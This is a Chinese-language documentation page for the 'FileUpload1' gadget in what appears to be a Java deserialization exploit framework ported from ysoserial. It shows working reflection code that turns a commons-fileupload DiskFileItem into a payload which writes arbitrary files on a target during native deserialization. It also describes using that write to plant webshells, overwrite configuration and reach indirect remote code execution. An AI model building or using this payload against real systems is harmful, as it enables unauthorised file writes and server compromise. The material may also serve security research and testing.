Skip to content

Latest commit

 

History

History
66 lines (58 loc) · 5.54 KB

File metadata and controls

66 lines (58 loc) · 5.54 KB
# FileUpload1(FileUpload1) - **类别**:javanative **别名**:— **优先级**:— - **作者**:mbechler - **依赖**:`commons-fileupload:commons-fileupload:1.3.1`、`commons-io:commons-io:2.4` ## 作用 移植自 ysoserial 的 `FileUpload1`:构造一个 `org.apache.commons.fileupload.disk.DiskFileItem`,其内部 `DeferredFileOutputStream` 被反射改造成「反序列化时把预置字节写入/复制到指定路径」。在 Java 原生反序列化时**向目标磁盘写入任意文件**(可用于落 webshell、覆盖配置等),是一个自成一体的写文件 sink(END 构件)。 ## 链接标签 - 入口 `tags`:`JavaNativeDeserialize`、`END` —— 直接承接 Java 原生反序列化入口,且自身即链尾,无需下游。 - 衔接 `nextTags`:无。 - `excludes`:无。 ## 源码剖析 核心是把 `DiskFileItem` 内部的输出流预填数据,使其在反序列化 `readObject` 恢复时触发写盘。`getObject()` 按 `type` 分派五种写法: ```java public DiskFileItem getObject() throws Exception { if ("copyAndDelete".equals(this.type)) return copyAndDelete(this.targetPath, this.content); if ("write".equals(this.type)) return write(this.targetPath, this.content.getBytes(Charset.forName("US-ASCII"))); if ("writeB64".equals(this.type)) return write(this.targetPath, Base64.decodeBase64(this.content)); if ("writeOld".equals(this.type)) return writePre131(this.targetPath, this.content.getBytes(...)); if ("writeOldB64".equals(this.type)) return writePre131(this.targetPath, Base64.decodeBase64(this.content)); throw new IllegalArgumentException("Unsupported command " + this.type); } ``` 真正构造 payload 的是 `makePayload`,全程靠 `Reflections` 反射改写私有字段: ```java private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { File repository = new File(repoPath); DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); File outputFile = new File(filePath); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); // 预设阈值与目标文件 OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); // 取出内存缓冲 os.write(data); // 把要写的数据先塞进内存缓冲 Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); // 伪造已写字节数 Reflections.setFieldValue(diskFileItem, "dfos", dfos); // 把改造后的 dfos 装回 Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); // 阈值置 0,序列化后必然落盘 return diskFileItem; } ``` - **触发原理**:`DiskFileItem.writeObject/readObject` 是自定义序列化。反序列化时它会依据 `sizeThreshold` 与 `dfos` 的状态判断数据是留在内存还是需要落地到 `repository`/目标文件。这里预先把 `written` 设为数据长度、`sizeThreshold` 设为 0,使得 `DeferredFileOutputStream` 在恢复时认为已超阈值,从而把内存缓冲的 `data` 刷写到 `outputFile`(或按 `repository` 复制),实现磁盘写入。 - `write(dir, data)`:阈值 `data.length+1`,`repository=dir`,`filePath=dir + "/whatever"`,把 `content` 直接写入目标目录(fileupload ≥ 1.3.1 的写法)。 - `writePre131`:面向 commons-fileupload < 1.3.1 的旧行为,利用 `filePath + ""` 空字节截断技巧确定落地文件名。 - `copyAndDelete`:阈值 0、`copyTo` 为目标、`repoPath` 为源,走「复制并删除」路径。 - `writeB64/writeOldB64`:`content` 按 Base64 解码后再写,便于投递二进制内容(如 class/jar)。 - `release(DiskFileItem)`:把 `dfos` 换成一个空的 `DeferredFileOutputStream(0, null)`,用于生成 payload 后**在本地清理**,避免攻击机自身触发写盘。 ## 参数(@Param) | 字段 | 名称 | 说明 | 默认 | 可选值 | |---|---|---|---|---| | `type` | 选择方式 | 写文件的具体策略(示例:`write: /tmp/success/upload_..._00000000.tmp`) | `write` | `copyAndDelete` / `write` / `writeB64` / `writeOld` / `writeOldB64` | | `targetPath` | 目标环境写入文件路径 | 反序列化后在目标磁盘写入的绝对/相对路径 | — | — | | `content` | 写入内容 | 要写入的内容(`writeB64`/`writeOldB64` 时应为 Base64 编码) | — | — | ## 适用版本与原理要点 - 依赖 `commons-fileupload:commons-fileupload:1.3.1` 与 `commons-io:commons-io:2.4`;`writeOld*` 变体面向 1.3.1 之前的旧版行为。 - 效果为**任意文件写入**而非直接 RCE,落地内容与路径由使用者决定;结合可解析目录(如 web 目录写 jsp)可间接达成 RCE。 - 反射字段名(`dfos`、`memoryOutputStream`、`written`、`sizeThreshold`)与 commons-fileupload/commons-io 的内部实现强绑定,跨版本字段改名会导致构造失败。 ## 所属预设链 - 自由构件,未直接出现在预设链(`usedInChains` 为空)。作为独立写文件 sink,可直接由 Java 原生反序列化入口投递。 ## 关联 - 同类写文件/落地型 sink:`WriteFile`、`WriteFileExec`(bytecode 类别,经字节码执行写文件)。 - 入口同为 `JavaNativeDeserialize` 的其他 END 构件:[FindClass](FindClass.md)、[FindClass2](FindClass2.md)(探测类)。